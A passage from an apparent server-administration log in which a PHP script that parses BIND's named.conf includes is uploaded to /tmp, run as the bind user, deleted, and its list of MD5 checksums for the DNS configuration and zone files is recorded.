function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:55:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp276310; rm /tmp/pkp276310'

2026-04-25 19:55:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:57:53: Establishing a connection
2026-04-25 19:57:53: 

PUT: /tmp/pkp419075

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:57:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp419075; rm /tmp/pkp419075'

2026-04-25 19:57:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
